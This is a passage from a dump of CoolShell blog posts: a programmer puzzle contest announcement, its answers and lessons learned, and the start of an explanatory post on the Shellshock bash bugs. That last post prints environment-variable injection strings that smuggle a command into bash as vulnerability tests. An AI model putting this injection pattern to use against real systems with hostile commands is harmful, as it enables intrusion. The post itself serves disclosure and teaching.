class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4951.html\"><img alt=\"软件公司的两种管理方式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11656.html\">开发团队的效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-8-3 【活动】解迷题送礼物.html",
    "content": "<html><body><p>首先，先跟大家道歉一下最近CoolShell大约长达一个多月没有什么更新，原因主要在于，我去看世界杯去了，这一个月的世界杯熬夜看球使我的精力不佳，导致世界杯结束后的几个星期也没有缓过来，所以没有更新什么文章。好多朋友写邮件或是在微博上at我催我更新，所以有点惭愧了。</p>\n<p>精神不佳我就不写文章了。于是，世界杯过后，我每天都会抽出每天晚上和周末的一些碎片时间，我仿照一些前端过关的游戏，做了几个和程序员有关的迷题，也是要通关的，不过和前端知识没什么关系。这个游戏我放到了下面这个二级域名下。</p>\n<p style=\"text-align: center;\"><strong><a href=\"http://fun.coolshell.cn/\" target=\"_blank\">http://fun.coolshell.cn/</a></strong></p>\n<p style=\"text-align: left;\"><a href=\"http://fun.coolshell.cn/\"><img alt=\"\" class=\"aligncenter\" height=\"281\" src=\"http://ww2.sinaimg.cn/mw1024/538efefbgw1eiz9cvx78fj20rm0fmdi8.jpg\" width=\"500\"/></a></p>\n<p style=\"text-align: left;\">有兴趣的朋友可以去玩玩。通关的同学我会送你们《Unix环境高级编程（第三版）》<span style=\"color: #423009;\">（感谢<a href=\"http://weibo.com/n/%E5%87%BA%E7%89%88%E5%9C%88%E9%83%AD%E5%BF%97%E6%95%8F?from=feed&amp;loc=at\" style=\"color: #6c6351;\">@出版圈郭志敏</a> 赞助）或一个马克杯（感谢<a href=\"http://weibo.com/n/linux%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%B2%BE%E9%80%89%E7%BD%91?from=feed&amp;loc=at\" style=\"color: #6c6351;\">@linux命令行精选网</a> 赞助）</span>），因为奖品数量有限，所以，我会送给前十个通关的同学（后面通关的我会随机抽几个）。</p>\n<p style=\"text-align: left;\"><span id=\"more-11832\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://ww4.sinaimg.cn/mw1024/538efefbgw1eiz9cwlgybj2058079t8z.jpg\"/>  <img alt=\"\" height=\"259\" src=\"http://ww2.sinaimg.cn/mw1024/538efefbgw1eiz9d0qp1dj20c8085dgj.jpg\" width=\"389\"/></p>\n<p style=\"text-align: left;\">最后说一下这些迷题：</p>\n<p style=\"text-align: left; padding-left: 30px;\">1）目前一共有10个迷题。你通关会出现个Congratulations的页面和一个表单，希望你能提供一下你的联系方式（联系方式只要你的email/weibo/twitter/homepage这样你比较公开的方式）。</p>\n<p style=\"text-align: left; padding-left: 30px;\">2）为了突出fun，所以，这些迷题中有好些基于一些“有趣”的知识的（可能有些知识你是不知道的）。</p>\n<p style=\"text-align: left; padding-left: 30px;\">3）我使用了英文，只希望你对英文不要害怕，英文是程序员最关键的一项技能。（虽然我的英文也一般）</p>\n<p style=\"text-align: left; padding-left: 30px;\">4）你要通关的话，你可能需要很多的Google/Wikipedia，所以，你可能需要翻墙环境。我希望你能经常翻墙。</p>\n<p style=\"text-align: left; padding-left: 30px;\">5）另外，如果要通关的话，你需除了有比较好的观察能力，你还需要对Linux命令行有一些了解，有一半左右的题是需要写代码才能过的，写代码的题中有字符串匹配（正则表达式），网络请求，算法和数据结构，以及一些基础的加密解密知识。</p>\n<p style=\"text-align: left; padding-left: 30px;\">6）这些题并不难，而且谜面提示得应该是非常清楚，不过，你要做完最快也需要2-3个小时，所以，在这里还是谢谢你的时间。</p>\n<p style=\"text-align: left;\">祝大家玩得愉快！</p>\n<p style=\"text-align: center;\"><strong>————更新：2014/8/5————</strong></p>\n<p style=\"text-align: center;\"><span style=\"color: #cc0000;\"><strong>本活动已结果，题的页面还在保留中……</strong></span></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10427.html\"><img alt=\"伙伴分配器的一个极简实现\" height=\"150\" src=\"../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-8-5 谜题的答案和活动的心得体会.html",
    "content": "<html><body><p>我于2014年8月3日周六的上午在微博、twitter、CoolShell上发布了一个和程序员有关的解谜题的活动——<a href=\"https://coolshell.cn/articles/11832.html\" target=\"_blank\" title=\"【活动】解迷题送礼物\">【活动】解谜题送礼物</a>。我使用了二级域名fun.coolshell.cn做为这次活动的页面。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11848\" height=\"206\" src=\"../wp-content/uploads/2014/08/puzzle.png\" width=\"543\"/></p>\n<p>截止这篇文章发布的时候，fun.coolshell.cn的访问量UV大约有4万左右，通关人数大约有200人，但因为在活动的第二天网上就出了一些答题攻略，通过分析，实际靠自己能力通过的人数在130人左右。通过率大约不到4‰的样子。</p>\n<p>在这里我把整个谜题和做这个活动的东西写一下，算是给自己的一个总结。</p>\n<h4>谜题的答案和花絮</h4>\n<p>fun.coolshell.cn上一共有十道谜题，<strong>要设计这些东西还真是费尽脑汁，这让我对那些设计谜题式游戏的人相当敬佩</strong>。</p>\n<p><span id=\"more-11847\"></span></p>\n<p style=\"padding-left: 30px;\"><strong>第0关：</strong>很多人可能一头雾水，完全不知道这是什么，其实只要Google一下，你会知道这是一个叫BrainFuck的语言。在Coolshell.cn上我也介绍了过——《<a href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\" title=\"BT雷人的程序语言\">BT雷人的程序语言</a>》《<a href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\" title=\"BT雷人的程序语言（大全）\">BT雷人的程序语言（大全）</a>》，要通过这关，你需要把那段程序编译一下。要编译这段程序其实很简单，Google一个在线的编译器就可以了。（关于其它更多的古怪的编程语言请参看这里：<a href=\"http://esolangs.org/wiki/Language_list\" target=\"_blank\">http://esolangs.org/wiki/Language_list</a>）</p>\n<p style=\"padding-left: 30px;\"><strong>第1关：</strong>这一关也是很简单的，你需要在网页上找到两个数，一个是X，一个是Y，然后求得X和Y的乘积。对于X，你可以观察一下那个数列游戏，对于Y，你可以Google一下就知道了（我在Coolshell的《<a href=\"https://coolshell.cn/articles/11170.html\" target=\"_blank\" title=\"如何用最有创造力的方式输出42\">如何用最有创造力的方式输出42</a>》说过这个事）。</p>\n<p style=\"padding-left: 30px;\"><strong>第2关：</strong>上面显示了一个不一样的键盘，我给了这个键盘的Wikipedia的链接。这个键盘叫Dvorak键，不同于我们的Qwert键。通过这个两个键盘的布局映射，你可以把下面那段读不懂的文字解出来（其实，你还是可以Google，有在线的转换）。把下面那段文字转成Qwert键的，你就会发现这是一段代码，这段代码非常著名，<span style=\"color: #000000;\">是1987年国际<a href=\"http://www.di-mgt.com.au/src/korn_ioccc.txt\" target=\"_blank\">C语言混乱大赛一等奖的一段代码</a>（你可Google “IOCCC 87 unix”）。（关于IOCCC你可以参看Coolshell之前的《<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\" title=\"6个变态的C语言Hello World程序\">6个变态的HelloWorld</a>》、《<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\" title=\"如何加密/混乱C源代码\">如何混乱代码</a>》、《<a href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\" title=\"如何写出无法维护的代码\">如何写出无法维护的代码</a>》这几篇文章）</span></p>\n<p style=\"padding-left: 30px;\"><strong>第3关：</strong>扫描二维码以后，你会得到一个码表转换，你可以使用Shell的tr命令来转一下下面的话。转完后你就可以读懂了，读懂了你还需要使用rot13来转一下“shell”（Google一下，你会发现也有在线的转换器，另外还有其它的rot）</p>\n<p style=\"padding-left: 30px;\"><strong>第4关</strong>：这是众多同学被卡在的地方。很多同学吐槽这题太坑了，别忘了这是游戏啊。我问了几个早先通关的同学，他们都说还好了，只要静一下心来多观察一下，你就会找出规律的。这个回文的模式是，一个大写字符和一个数字（顺序不限）把一个小字母套起来。于是，写成正则表达式是：</p>\n<p><code class=\"EnlighterJSRAW\">([A-Z])([0-9])[a-z]\\2\\1|([0-9])([A-Z])[a-z]\\4\\3</code></p>\n<p style=\"padding-left: 30px;\">用shell命令可以很快地找到9个匹配，然后，像“cat”一样，取中间的小写字母组成一个单词。写成Shell命令是：</p>\n<p><code class=\"EnlighterJSRAW\">grep -o \"\\([A-Z]\\)\\([0-9]\\)[a-z]\\2\\1\\|\\([0-9]\\)\\([A-Z]\\)[a-z]\\4\\3\" cat.txt | sed -E \"s/(.)(.)(.)\\2\\1/\\3/g\" | awk '{printf(\"%s\",$1)}' &amp;&amp; echo \"\"</code></p>\n<p style=\"padding-left: 30px;\">这题主要考的是你的观察能力和正则表达式。</p>\n<p style=\"padding-left: 30px;\"><strong>第5关</strong>：如果你点了一下图片后，你就知道，这个连接http://fun.coolshell.cn/n/2014返回了一个数字，如果你把这个数字放到那个URL中，不断地替换其中的数字，你会得到一个新的数字。于是你就会得到最终的答案。</p>\n<p style=\"padding-left: 30px;\">这道题本来我是想让大家写程序的，我原来设置了一共512个序列，但是考虑到服务受不了，所以，我把它降到了128个，这样保证你的程序可以在几秒钟内得到结果，而不会对我的服务器造成压力。但是我还是看到好几个同学人肉地copy+paste+回车刷了100多下，得到了最终答案。</p>\n<p style=\"padding-left: 30px;\"><strong>第6关：</strong>通过中序和后序遍历还原一棵二叉树，然后再找到其最深的路径，然后得到一个字符串后，把这个字符串做为一个passcode代入那个openssl的命令行中。你就可以解密密文得到下一关的答案。</p>\n<p style=\"padding-left: 30px;\">这个题，我本想设计得更隐晦一些，用一个“心脏流血”的图片来暗示openssl，然后用别的东西暗示AES-128-CBC，后来想想算了，主要还是考大家在大学里的二叉树的最基本的算法。并介绍一下openssl的shell命令行加解密的方法。</p>\n<p style=\"padding-left: 30px;\">在网上的一些攻略中我看到了大家没有用程序，而是手动地花了一棵树出来。（其实，这设计这道的时候，我本来想设计成随机树，也就每个人看到的答案都不一样，我随机建树并且找最深路径的程序都写好了，但是我最终还是没有这样做，因为这无疑增加我对这个网页游戏的代码复杂度，而我又没有太多的时间，而谜题的各种形式已经够让我花精力的了，你虽然看到了10道题，但是其实我设计了一共有16道题，我反复斟酌，即不想为难大家，又不想太简单和无聊，所以最终release了这十道题）</p>\n<p style=\"padding-left: 30px;\"><strong>第7关：</strong>N皇后问题，这个问题也是大学里的题。9皇后一共有352个解，你需要把这352个解代到那个sha1的公式中（需要上一关用于解密的passcode），这样你就会得到一个解。然后这就是通关口令。</p>\n<p style=\"padding-left: 30px;\">第6关和第7关的算法题你要是不会写的话，Google一下，反正我们是“大自然的搬运工”，不是吗？呵呵。</p>\n<p style=\"padding-left: 30px;\">第7关这题啊，我看到一个同学用穷举的1-9的排序组合的方式来向服务发请求，从123456789开始，我都看SB了，因为这关的通答案是9开头，我勒了个去！你得对我的服务器发多少次请求啊，才能得到一个200的回复啊。TNND。服了。不过这个同学我最终还是给通过了，没有判定成作弊。</p>\n<p style=\"padding-left: 30px;\"><strong>第8关：</strong>Excel的列号编程，这一关写成代码其实并不难的。但我看到网上给的好些答案，大家都是用手算。也OK，这题本身就没有什么难度，但是因为这个26进制是从1开始的，写出来的代码并不非常容易，一些边界条件很容易就break掉了。这题完全考的是编码。把COOLSHELL除以SHELL的数转成字符串。然后就进入最后一关了。</p>\n<p style=\"padding-left: 30px;\">然后，我又见到有个同学用了穷举的方式，TNND，其实每道题都有人在用穷举的方式，我勒个去。他从AAA开始穷举，不一会就穷举出正确答案了。尼玛！</p>\n<p style=\"padding-left: 30px;\"><strong>第9关：</strong>一个猪圈和一个共济会的logo，你Google一下，你就知道答案了。这题纯粹就是介绍知识的。不知道大家有没有去wikipedia上了解了一下这个猪圈密码和共济会是怎么一回事吗？这样的密文叫图片密文，还有很多类似的图片密文的。你知道吗？有相应的字库哦。也有在线的生成器哦。（因为我最近在学各种安全的基础知识，所以了解到了这个东西）</p>\n<p style=\"padding-left: 30px;\"><strong>通关：</strong>于是你就通关了。你会发现你得到了一个helloworld，这个字符串，在我一放出来这个谜题的时候，就有很多人在尝试helloworld就是那段brainfuck的代码的输出。我汗啊。还好我做了一个比较复杂的防作弊检查……</p>\n<p>总体来说，这些关卡都不难，但是你最少也得用2-3个小时。<a href=\"http://fun.coolshell.cn/top100.html\" target=\"_blank\">Top100页面</a>时统计的平均时间是10个半小时。</p>\n<p>再说一个花絮，自从，8月3日上线后，8月4日在网上就有了相关的解答攻略，还是在V2EX上，于是出现了好些只花了几分钟就做完了的人。不过好在事先我就预料到了这个事，事先预备好了“反作弊分析”的脚本，细节不想说太多，反正就是说，我会记录你答案的整个过程和行为，以此来确保TOP100中的人基本都是用自己能力答的，当然，可能会有漏判，但至少也是写过代码的。</p>\n<h4>活动心得</h4>\n<p>因为是第一次做活动，所以有很多感想，下面写下一些做这个活动的心得，供大家参考：</p>\n<p><strong>1）要做好一个这样的解题游戏并不简单</strong>。</p>\n<ul>\n<li><strong>关卡设计：</strong>最花力气的地方就是设计每个关卡，我不能设计得太过隐晦，也不能设计得太过明显。最好是要符合参与者的能力，但又要高于平均以上水平的能力，最好在90%以上。这样会让大家有挑战感，但是又不会有挫败感。这个度相当难把握。总体而言，本次设计的谜题中还有很多可以改进的地方。但这毕竟是我的第一次，也算是我用其来感受一下应该怎么设计游戏。</li>\n</ul>\n<ul>\n<li><strong>游戏黏性：</strong>除了设计谜题，还需要针对用户可能会答错的地方来给用户一些提示，原因也是为了不让用户有挫败感，虽然用户没有答对，但是需要用这些页面来鼓励用户You made some progress，这个很重要。这会让用户对游戏更有粘性，并且更愿意有更多的投入。找到这些地方也不是一件容易的事，因为做为游戏的设计者来说，很难从一个不知到答案的角度去思考。所以需要试玩，在fun.coolshell.cn正式release之前，我找了几个人比较聪明的人来试玩了一下，对这个游戏的帮助很大。</li>\n</ul>\n<ul>\n<li><strong>游戏管理：</strong>这样的一个在线游戏自然会出一些作弊者，为了游戏的公平性，你需要剔除这些作弊者。所以，我设计了一些比较简单的记录用户所有过程的监测的算法。通过cookie和后台的http log来一同分析。这个部分也比较地花时间。我上周六的时候写这些代码写到了凌晨4点，导致脑子不清楚，出了些bug，导致在大家游戏过程中重置cookie等伤害用户体验的事件。所以说啊，不能赶啊，也不能加班啊。</li>\n</ul>\n<p><strong>2）关于怎么做一个活动的感想。</strong></p>\n<ul>\n<li><b>这次活动的背景</b>。首先，想做这个活动的起因是这样的。我一个朋友在微博上做活动——“转发微博或@几个人怎么怎么滴就有机获得什么什么的”，<strong>我在这里把这种活动简称为“转就送”活动</strong>。于是遭到了水军的刷奖品，导致他根本分不清楚哪些是正常人，哪些不是，因为新浪微博上有大量的这要瓣机器人，所以他这次活动最后失败了。我说，你得加点难度啊，要加点智商啊。<strong>而且，我看过太多的活动都是这样的，而且很多公司的活动也是这样的，我觉得太low了</strong>。于是，我就萌生了自己尝试一下的念头。</li>\n</ul>\n<ul>\n<li><strong>我对做活动的理解</strong>。我一直觉得网上那些诸如“转就送”或是“抽奖”这样的活动都比较SB，这些人根本就不知道怎么做活动。这样做活动不需要智商，简单粗暴，效果一点也不好，活动做完了，人就走了，人们马上就忘了。我以为做活动的精髓是这样的：</li>\n</ul>\n<ul>\n<ul>\n<li><strong>真正的价值</strong>。其实，好的活动并不只是物品的价格，而是参与这个过程的感觉和体会。如果你让人觉得这是碰运气的，那么这个活动除了用物品价格来吸引人，也就没别的什么了。<strong>如果这个活动的参与过程是让人有成就感的，要有成就感那么就需要有一定难度的挑战，而且这种挑战也是让众人认可和佩服的，那么这个奖品的价格再小，价值也会很大</strong>。比如：Olympic Game，World Cup之流的，世界顶尖，四年一次，来之不易。这才是活动的价值。本次的fun.coolshell.cn上的活动，我希望让大家在做题的过程中学到一些东西，另外也希望做出来的人有一种成就感。</li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><strong>让人有回味</strong>。那些简单的“转就送”式的活动不会让人产生任何的回味，只会让人产生很大的反感。就像那些“让你转发，不转就死全家”的东西，相当的让人反感。真正的回味是人们对活动参与过程的讨论和交互。在fun.coolshell.cn上线后，我就看到好几个社区在讨论这些谜题，这就是所谓的回味。<strong>只有人们对过程的回味，对参与的回味，才会让这个活动真正的成功</strong>。</li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><strong>暴露活动过程</strong>。有挑战的活动，一定要有一个Who’s Who的东西，而且是随时动态更新的可以让大家查询的，这样才会从另一个侧面激发大家的热情。因为fun.coolshell.cn一开始说了只给前十个人送东西，结果在过程中，我发现了就半天时间就差不多满了，那时我在想，如果没有奖品了，剩下的人还会不会玩了？于是我飞快地开发了一个TOP100的排行榜，让大家可以看得到这个过程，虽然前十以后就没有奖品了，但是，能上这TOP100也不错。于是乎，在没有奖品情况下，依然在激发着大家的解题热情。<strong>有竞争总是一件有意思的事情，因为成就感总是来自竞争</strong>。（注：为什么top100中会有“xxxxxx”的用户，因为一开始我用的是用户提交的name，但是后来有人告诉我，这个名字可能是真名，所以，我就改成了weibo或twitter的ID，而xxxxx则是没有留下微博或twitter的）</li>\n</ul>\n</ul>\n<p>最后吐个槽，<strong>我真的觉得那些“纯靠运气的活动”相当的SB，我看到好些公司的运营部门招了多少个所谓的高学历和高能力的人，结果干出来的运营活动的水平，其实，也就是个有小学文化水平的人就可以做的了</strong>。那些“转就送式的”、“抽奖式的”的活动，是个人都会干，根本不需要高学历的人。</p>\n<h4>其它</h4>\n<p>1）<strong>本次活动中，有一个隐藏关卡，还没有人找出来</strong>。要能达到隐藏关卡，需要完成所有的题目。</p>\n<p>2）<strong>活动的通关页是HelloWorld，这意味着——这仅仅是个开始</strong>。</p>\n<p>最后感谢大家为这个活动付出的时间！</p>\n<p>（全文完）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-9-27 bash代码注入的安全漏洞.html",
    "content": "<html><body><p><img alt=\"bashbug\" class=\"alignright size-medium wp-image-11979\" height=\"152\" src=\"../wp-content/uploads/2014/09/bashbug-300x152.jpg\" width=\"300\"/>很多人或许对上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，这两天，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后，美国电脑紧急应变中心（US-CERT）、红帽以及多家从事安全的公司于周三（北京时间9月24日）发出警告。 关于这个安全漏洞的细节可参看美国政府计算安全的这两个漏洞披露：<a href=\"http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271\">CVE-2014-6271</a> 和 <a href=\"http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169\">CVE-2014-7169</a>。</p>\n<p>这个漏洞其实是非常经典的“注入式攻击”，也就是可以向 bash注入一段命令，从bash1.14 到4.3都存在这样的漏洞。我们先来看一下这个安全问题的症状。</p>\n<h4>Shellshock (CVE-2014-6271)</h4>\n<p>下面是一个简单的测试：</p>\n<p><code class=\"EnlighterJSRAW\">$ env VAR='() { :;}; echo Bash is vulnerable!' bash -c \"echo Bash Test\"</code></p>\n<p>如果你发现上面这个命令在你的bash下有这样的输出，那你就说明你的bash是有漏洞的：</p>\n<pre class=\"EnlighterJSRAW\">Bash is vulnerable!\nBash Test</pre>\n<p>简单地看一下，其实就是向环境变量中注入了一段代码 <strong>echo Bash is vulnerable</strong>。关于其中的原理我会在后面给出。</p>\n<p>很快，CVE-2014-6271的官方补丁出来的了——<a href=\"https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00081.html\" target=\"_blank\">Bash-4.3 Official Patch 25</a>。</p>\n<p><span id=\"more-11973\"></span></p>\n<h4>AfterShock – CVE-2014-7169 （又叫Incomplete fix to Shellshock）</h4>\n<p>但随后，马上有人在Twitter上发贴——<a href=\"http://twitter.com/taviso/statuses/514887394294652929\" target=\"_blank\">说这是一个不完整的fix</a>，并给出了相关的攻击方法。</p>\n<p><a href=\"http://twitter.com/taviso/statuses/514887394294652929\" target=\"_blank\"><img alt=\"\" class=\"aligncenter size-medium wp-image-11974\" height=\"153\" src=\"../wp-content/uploads/2014/09/bash-300x153.jpg\" width=\"300\"/></a></p>\n<p>也就是下面这段测试代码（注意，其中的sh在linux下等价于bash）：</p>\n<p><code class=\"EnlighterJSRAW\">env X='() { (a)=&gt;\\' sh -c \"echo date\"; cat echo</code></p>\n<p>上面这段代码运行起来会报错，但是它要的就是报错，报错后会在你在当前目录下生成一个echo的文件，这个文件的内容是一个时间文本。下面是上面 这段命令执行出来的样子。</p>\n<pre class=\"EnlighterJSRAW\">$ env X='() { (a)=&gt;\\' sh -c \"echo date\"; cat echo\nsh: X: line 1: syntax error near unexpected token `='\nsh: X: line 1: `'\nsh: error importing function definition for `X'\nSat Sep 27 22:06:29 CST 2014</pre>\n<p>这段测试脚本代码相当的诡异，就像“天书”一样，我会在后面详细说明这段代码的原理。</p>\n<h4>原理和技术细节</h4>\n<p>要说清楚这个原理和细节，我们需要从 bash的环境变量开始说起。</p>\n<h5>bash的环境变量</h5>\n<p>环境变量大家知道吧，这个不用我普及了吧。环境变量是操作系统运行shell中的变量，很多程序会通过环境变量改变自己的执行行为。在bash中要定义一个环境变量的语法很简单（注：=号的前后不能有空格）：</p>\n<p><code class=\"EnlighterJSRAW\">$ var=\"hello world\"</code></p>\n<p>然后你就可以使用这个变量了，比如：echo $var什么的。但是，我们要知道，这个变量只是一个当前shell的“局部变量”，只在当前的shell进程中可以访问，这个shell进程fork出来的进程是访问不到的。</p>\n<p>你可以做这样的测试：</p>\n<pre class=\"EnlighterJSRAW\">\n$ var=\"hello coolshell\"\n$ echo $var\nhello coolshell\n$ bash\n$ echo $var\n</pre>\n<p>上面的测试中，第三个命令执行了一个bash，也就是开了一个bash的子进程，你就会发现var不能访问了。</p>\n<p>为了要让shell的子进程可以访问，我们需要export一下：</p>\n<p><code class=\"EnlighterJSRAW\">$ export var=\"hello coolshell\"</code></p>\n<p>这样，这个环境变量就会在其子进程中可见了。</p>\n<p>如果你要查看一下有哪些环境变量可以在子进程中可见（也就是是否被export了），你可使用<strong>env</strong>命令。不过，env命令也可以用来定义export的环境变量。如下所示：</p>\n<p><code class=\"EnlighterJSRAW\">$ env var=\"hello haoel\"</code></p>\n<p>有了这些基础知识还不够，我们还要知道一个基础知识——shell的函数。</p>\n<h5>bash的函数</h5>\n<p>在bash下定义一个函数很简单，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">$ foo(){ echo \"hello coolshell\"; }\n$ foo\nhello coolshell</pre>\n<p>有了上面的环境变量的基础知识后，你一定会想试试这个函数是否可以在子进程中调用，答案当然是不行的。</p>\n<pre class=\"EnlighterJSRAW\">$ foo(){ echo \"hello coolshell\"; }\n$ foo\nhello coolshell\n$ bash\n$ foo\nbash: foo: command not found</pre>\n<p>你看，和环境变量是一样的，如果要在子进程中可以访问的话，那么，还是一样的，需要export，export有个参数 -f，意思是export一个函数。如：</p>\n<pre class=\"EnlighterJSRAW\">$ foo(){ echo \"hello coolshell\"; }\n$ foo\nhello coolshell\n$ export -f foo\n$ bash\n$ foo\nhello 